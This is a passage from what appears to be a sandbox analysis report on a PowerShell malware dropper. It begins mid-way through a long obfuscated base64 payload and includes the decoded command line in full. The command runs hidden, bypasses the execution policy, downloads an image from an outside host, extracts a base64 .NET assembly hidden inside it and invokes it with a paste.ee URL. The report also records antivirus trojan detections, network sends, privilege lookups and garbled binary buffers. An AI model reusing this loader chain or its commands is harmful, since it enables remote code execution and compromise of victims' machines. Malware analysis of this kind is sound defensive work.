mTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBUhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmB0hvWQmTktteTÇCmC4hvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmE8hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZghvWQmTktteTÇCmohvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHIhvWQmTktteTÇCmdhvWQmTktteTÇCmBGhvWQmTktteTÇCmGwhvWQmTktteTÇCmYQBnhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwBlhvWQmTktteTÇCmFQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmHQhvWQmTktteTÇCmLgBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmTwBmhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwhvWQmTktteTÇCmphvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmZwBlhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmMhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGQhvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCmthvWQmTktteTÇCmGchvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHIhvWQmTktteTÇCmdhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmKwhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEYhvWQmTktteTÇCmbhvWQmTktteTÇCmBhhvWQmTktteTÇCmGchvWQmTktteTÇCmLgBMhvWQmTktteTÇCmGUhvWQmTktteTÇCmbgBnhvWQmTktteTÇCmHQhvWQmTktteTÇCmahvWQmTktteTÇCmhvWQmTktteTÇCm7hvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGIhvWQmTktteTÇCmYQBzhvWQmTktteTÇCmGUhvWQmTktteTÇCmNghvWQmTktteTÇCm0hvWQmTktteTÇCmEwhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmdhvWQmTktteTÇCmBohvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGUhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmYgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmQwBvhvWQmTktteTÇCmG0hvWQmTktteTÇCmbQBhhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmFMhvWQmTktteTÇCmdQBihvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmByhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGkhvWQmTktteTÇCmbgBnhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmshvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmYgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmThvWQmTktteTÇCmBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZwB0hvWQmTktteTÇCmGghvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmKQhvWQmTktteTÇCm7hvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmbwBthvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmFshvWQmTktteTÇCmUwB5hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmLgBDhvWQmTktteTÇCmG8hvWQmTktteTÇCmbgB2hvWQmTktteTÇCmGUhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmF0hvWQmTktteTÇCmOghvWQmTktteTÇCm6hvWQmTktteTÇCmEYhvWQmTktteTÇCmcgBvhvWQmTktteTÇCmG0hvWQmTktteTÇCmQgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmUwB0hvWQmTktteTÇCmHIhvWQmTktteTÇCmaQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBihvWQmTktteTÇCmGEhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmDYhvWQmTktteTÇCmNhvWQmTktteTÇCmBDhvWQmTktteTÇCmG8hvWQmTktteTÇCmbQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBshvWQmTktteTÇCmG8hvWQmTktteTÇCmYQBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmZhvWQmTktteTÇCmBBhvWQmTktteTÇCmHMhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmYgBshvWQmTktteTÇCmHkhvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmWwBThvWQmTktteTÇCmHkhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGUhvWQmTktteTÇCmbQhvWQmTktteTÇCmuhvWQmTktteTÇCmFIhvWQmTktteTÇCmZQBmhvWQmTktteTÇCmGwhvWQmTktteTÇCmZQBjhvWQmTktteTÇCmHQhvWQmTktteTÇCmaQBvhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmLgBBhvWQmTktteTÇCmHMhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmYghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBshvWQmTktteTÇCmHkhvWQmTktteTÇCmXQhvWQmTktteTÇCm6hvWQmTktteTÇCmDohvWQmTktteTÇCmThvWQmTktteTÇCmBvhvWQmTktteTÇCmGEhvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmohvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmbwBthvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB0hvWQmTktteTÇCmHkhvWQmTktteTÇCmchvWQmTktteTÇCmBlhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGwhvWQmTktteTÇCmbwBhhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBkhvWQmTktteTÇCmEEhvWQmTktteTÇCmcwBzhvWQmTktteTÇCmGUhvWQmTktteTÇCmbQBihvWQmTktteTÇCmGwhvWQmTktteTÇCmeQhvWQmTktteTÇCmuhvWQmTktteTÇCmEchvWQmTktteTÇCmZQB0hvWQmTktteTÇCmFQhvWQmTktteTÇCmeQBwhvWQmTktteTÇCmGUhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBGhvWQmTktteTÇCmGkhvWQmTktteTÇCmYgBlhvWQmTktteTÇCmHIhvWQmTktteTÇCmLgBIhvWQmTktteTÇCmG8hvWQmTktteTÇCmbQBlhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBthvWQmTktteTÇCmGUhvWQmTktteTÇCmdhvWQmTktteTÇCmBohvWQmTktteTÇCmG8hvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB0hvWQmTktteTÇCmHkhvWQmTktteTÇCmchvWQmTktteTÇCmBlhvWQmTktteTÇCmC4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmRwBlhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHQhvWQmTktteTÇCmTQBlhvWQmTktteTÇCmHQhvWQmTktteTÇCmahvWQmTktteTÇCmBvhvWQmTktteTÇCmGQhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBWhvWQmTktteTÇCmEEhvWQmTktteTÇCmSQB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmphvWQmTktteTÇCmC4hvWQmTktteTÇCmSQBuhvWQmTktteTÇCmHYhvWQmTktteTÇCmbwBrhvWQmTktteTÇCmGUhvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBuhvWQmTktteTÇCmHUhvWQmTktteTÇCmbhvWQmTktteTÇCmBshvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmBbhvWQmTktteTÇCmG8hvWQmTktteTÇCmYgBqhvWQmTktteTÇCmGUhvWQmTktteTÇCmYwB0hvWQmTktteTÇCmFshvWQmTktteTÇCmXQBdhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBNhvWQmTktteTÇCmEMhvWQmTktteTÇCmOQhvWQmTktteTÇCm2hvWQmTktteTÇCmFMhvWQmTktteTÇCmbhvWQmTktteTÇCmBshvWQmTktteTÇCmHchvWQmTktteTÇCmVhvWQmTktteTÇCmBphvWQmTktteTÇCmDkhvWQmTktteTÇCmawBMhvWQmTktteTÇCmDIhvWQmTktteTÇCmVgBshvWQmTktteTÇCmEwhvWQmTktteTÇCmbQBWhvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmYwhvWQmTktteTÇCmyhvWQmTktteTÇCmEYhvWQmTktteTÇCmdwBMhvWQmTktteTÇCmHkhvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmMwBChvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmZhvWQmTktteTÇCmBHhvWQmTktteTÇCmGchvWQmTktteTÇCmPQB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmyhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmLhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmEkhvWQmTktteTÇCmZwBmhvWQmTktteTÇCmHghvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCmshvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmMwB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBDhvWQmTktteTÇCmDohvWQmTktteTÇCmcQBrhvWQmTktteTÇCmFhvWQmTktteTÇCmhvWQmTktteTÇCmUhvWQmTktteTÇCmByhvWQmTktteTÇCmG8hvWQmTktteTÇCmZwByhvWQmTktteTÇCmGEhvWQmTktteTÇCmbQBEhvWQmTktteTÇCmGEhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHEhvWQmTktteTÇCmawBQhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBJhvWQmTktteTÇCmGchvWQmTktteTÇCmZgB4hvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCkhvWQmTktteTÇCmKQhvWQmTktteTÇCmnhvWQmTktteTÇCmCkhvWQmTktteTÇCmLgByhvWQmTktteTÇCmGUhvWQmTktteTÇCmchvWQmTktteTÇCmBshvWQmTktteTÇCmEEhvWQmTktteTÇCmYwBFhvWQmTktteTÇCmCghvWQmTktteTÇCmJwBxhvWQmTktteTÇCmGshvWQmTktteTÇCmUhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmCwhvWQmTktteTÇCmJwBchvWQmTktteTÇCmCchvWQmTktteTÇCmKQhvWQmTktteTÇCmuhvWQmTktteTÇCmHIhvWQmTktteTÇCmZQBwhvWQmTktteTÇCmGwhvWQmTktteTÇCmQQBjhvWQmTktteTÇCmEUhvWQmTktteTÇCmKhvWQmTktteTÇCmhvWQmTktteTÇCmohvWQmTktteTÇCmFshvWQmTktteTÇCmYwBIhvWQmTktteTÇCmGEhvWQmTktteTÇCmUgBdhvWQmTktteTÇCmDEhvWQmTktteTÇCmMghvWQmTktteTÇCmxhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCmxhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCmzhvWQmTktteTÇCmCkhvWQmTktteTÇCmLhvWQmTktteTÇCmBbhvWQmTktteTÇCmHMhvWQmTktteTÇCmVhvWQmTktteTÇCmByhvWQmTktteTÇCmEkhvWQmTktteTÇCmTgBnhvWQmTktteTÇCmF0hvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmMwhvWQmTktteTÇCm5hvWQmTktteTÇCmCkhvWQmTktteTÇCmLgByhvWQmTktteTÇCmGUhvWQmTktteTÇCmchvWQmTktteTÇCmBshvWQmTktteTÇCmEEhvWQmTktteTÇCmYwBFhvWQmTktteTÇCmCghvWQmTktteTÇCmKhvWQmTktteTÇCmBbhvWQmTktteTÇCmGMhvWQmTktteTÇCmShvWQmTktteTÇCmBhhvWQmTktteTÇCmFIhvWQmTktteTÇCmXQhvWQmTktteTÇCmxhvWQmTktteTÇCmDEhvWQmTktteTÇCmNhvWQmTktteTÇCmhvWQmTktteTÇCmrhvWQmTktteTÇCmFshvWQmTktteTÇCmYwBIhvWQmTktteTÇCmGEhvWQmTktteTÇCmUgBdhvWQmTktteTÇCmDEhvWQmTktteTÇCmMQhvWQmTktteTÇCmwhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmNQhvWQmTktteTÇCm0hvWQmTktteTÇCmCkhvWQmTktteTÇCmLhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmCQhvWQmTktteTÇCmJwhvWQmTktteTÇCmphvWQmTktteTÇCmHwhvWQmTktteTÇCmIhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmVgBvhvWQmTktteTÇCmGshvWQmTktteTÇCmRQhvWQmTktteTÇCmthvWQmTktteTÇCmGUhvWQmTktteTÇCmWhvWQmTktteTÇCmBwhvWQmTktteTÇCmHIhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmFMhvWQmTktteTÇCmaQBPhvWQmTktteTÇCmG4hvWQmTktteTÇCm';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('hvWQmTktteTÇCm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2812
thread_handle: 0x00000448
process_identifier: 2808
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('rn6imageUrl = yQShttps://uploaddeimag'+'ens.co'+'m.br/images/004/654/536/original/new_image.jpg?1698957750yQS;rn6webC'+'lient = New-'+'Object System.Net.WebClie'+'nt;rn6imageBytes = rn6webClient.DownloadData(rn6i'+'mag'+'eUrl);rn6imageText = [System.Text.Encoding]::UTF8.GetString(rn6'+'im'+'ageBy'+'tes);rn6startFlag = yQS<<BASE64_START>'+'>'+'yQS;rn6endFlag = yQS<<'+'BAS'+'E64_END>'+'>yQS;rn6'+'startIndex = rn6imageText.IndexO'+'f(rn6startFlag);rn6endIn'+'dex = rn6imageText.In'+'dexOf(rn6endFlag'+');rn6startIndex -ge 0 -an'+'d rn6endIndex -gt rn6startIndex;rn6sta'+'rtIndex += rn6startFlag.Length;rn6base64Length = rn6endIndex - rn6'+'startIndex;rn6base64Command = rn6imageText.Substr'+'ing(rn6startIndex, rn6base64Length'+');rn6commandBytes = [System.Convert]::FromBase64String(rn6base64Command);rn6loadedAssembly = [System.Reflection'+'.Assemb'+'ly]::Load(rn6commandBytes);rn6type = rn6loade'+'dAssembly.GetType(yQSFiber.HomeyQS);rn6method = rn6type.'+'Ge'+'tMethod(yQSVAIyQS).Invoke(rn6null, [object[]] (yQSMC96SllwTi9kL2VlLmV0c2FwLy86c3B0dGg=yQS , yQSyQS '+', yQS2yQS , yQSIgfx'+'yQS , yQS3yQS , yQSC:qkPProgramDataqkPyQS, yQSIgfxyQS))').replAcE('qkP','\').replAcE(([cHaR]121+[cHaR]81+[cHaR]83),[sTrINg][cHaR]39).replAcE(([cHaR]114+[cHaR]110+[cHaR]54),'$')| InVokE-eXpresSiOn"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x0000044c
1 1 0
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
Google Detected
Varist VBS/Agent.BFC1!Eldorado
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received WeW4•ÿˆqàôÍu)iDBãò£Ï…DOWNGRD "Àüsì€+2^l©¥^¨Ék»åÊOõäÜÍvØ0„À ÿ 
Data received Q
Data received ’
Data received ŽA•3‰…±aÉo{+þ$¥Ÿ/Ï'>eS.öKS±åÕþžßdRæyCCïç°â¡±âÀÃ-Š}趚Ä-öoÛG0E!ñj'è˜G6ÔµþKaæ¡NRùÃ~A5–Ð ° 0‡ ¦Ù†ƒÎÀp÷z<%܏î4Öéڇ¨õeя–a
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received êÑX;§/ô9X%n„ËylÁbY‡»^뒦yß{îb%kÇÍd‡N0ó¯"éæO
Data sent yueW3³ý:ªµ”„ŽóPB<ÊP):ìðÑ°‚x/³§m/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBA%«?àÍ$ÇēÉ󆋸‘C—´¡ï´ÏŽk ø¿¼´iÖP!oZéÕ-‘2ÿuWS¹%7ڀé4•m¸Ÿ¨º· ;0c‘QÝ÷W¼<Ê`ô û›¤•iØ U>ضƒÿ7È>ú±O ïå÷ß=¨“²mÚbYH
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

WSASend

 buffer: kgeW3 ¥Ë¡š®òHОAú ٍ¾YBBáãm”ƒ/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 588
0 0

WSASend

 buffer: FBA]Yý;ÍöxÂÒ¥ÙDÓݬáèü/±RôOök”X® XŽ°¦ô©äPÿ>Z ‡ò’ü.Ӏè >h^0°¢iq…((üÂʬ™â$+ l)úÖ/̲$qAgóWÊÖ@¿ZÅGåd r(+ÌÅÁ
socket: 588
0 0

WSASend

 buffer: ÀýW}ðÜãg)™TÓ4²`H*EMpf”Qš—[6ý%§!†˜Ì$G:öjé -$ð‰Ë²@~_}¼ç‘?ìv4ÌÔ;¡`yåù ïï·ñ›B?h~¡±NtÙÌ]% 4¡mÎ{¹qX˜qNJût¬Ap—»ãŒ£#Cö[«=I¦Sÿ Ô¶k¨Ö[ÑA%é/ä’"[|*]Ù:=9M™nV•>Mز‡›A°ª’²ÆÔµ*&šÅ‚1DµÓ*
socket: 588
0 0
Time & API Arguments Status Return Repeated

WSASend

 buffer: kgeW3 ¥Ë¡š®òHОAú ٍ¾YBBáãm”ƒ/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 588
0 0

WSASend

 buffer: FBA]Yý;ÍöxÂÒ¥ÙDÓݬáèü/±RôOök”X® XŽ°¦ô©äPÿ>Z ‡ò’ü.Ӏè >h^0°¢iq…((üÂʬ™â$+ l)úÖ/̲$qAgóWÊÖ@¿ZÅGåd r(+ÌÅÁ
socket: 588
0 0

WSASend

 buffer: ÀýW}ðÜãg)™TÓ4²`H*EMpf”Qš—[6ý%§!†˜Ì$G:öjé -$ð‰Ë²@~_}¼ç‘?ìv4ÌÔ;¡`yåù ïï·ñ›B?h~¡±NtÙÌ]% 4¡mÎ{¹qX˜qNJût¬Ap—»ãŒ£#Cö[«=I¦Sÿ Ô¶k¨Ö[ÑA%é/ä’"[|*]Ù:=9M™nV•>Mز‡›A°ª’²ÆÔµ*&šÅ‚1DµÓ*
socket: 588
0 0

send

 buffer: yueW3³ý:ªµ”„ŽóPB<ÊP):ìðÑ°‚x/³§m/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1440
sent: 126
1 126 0

send

 buffer: FBA%«?àÍ$ÇēÉ󆋸‘C—´¡ï´ÏŽk ø¿¼´iÖP!oZéÕ-‘2ÿuWS¹%7ڀé4•m¸Ÿ¨º· ;0c‘QÝ÷W¼<Ê`ô û›¤•iØ U>ضƒÿ7È>ú±O ïå÷ß=¨“²mÚbYH
socket: 1440
sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2028
0 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('rn6imageUrl = yQShttps://uploaddeimag'+'ens.co'+'m.br/images/004/654/536/original/new_image.jpg?1698957750yQS;rn6webC'+'lient = New-'+'Object System.Net.WebClie'+'nt;rn6imageBytes = rn6webClient.DownloadData(rn6i'+'mag'+'eUrl);rn6imageText = [System.Text.Encoding]::UTF8.GetString(rn6'+'im'+'ageBy'+'tes);rn6startFlag = yQS<<BASE64_START>'+'>'+'yQS;rn6endFlag = yQS<<'+'BAS'+'E64_END>'+'>yQS;rn6'+'startIndex = rn6imageText.IndexO'+'f(rn6startFlag);rn6endIn'+'dex = 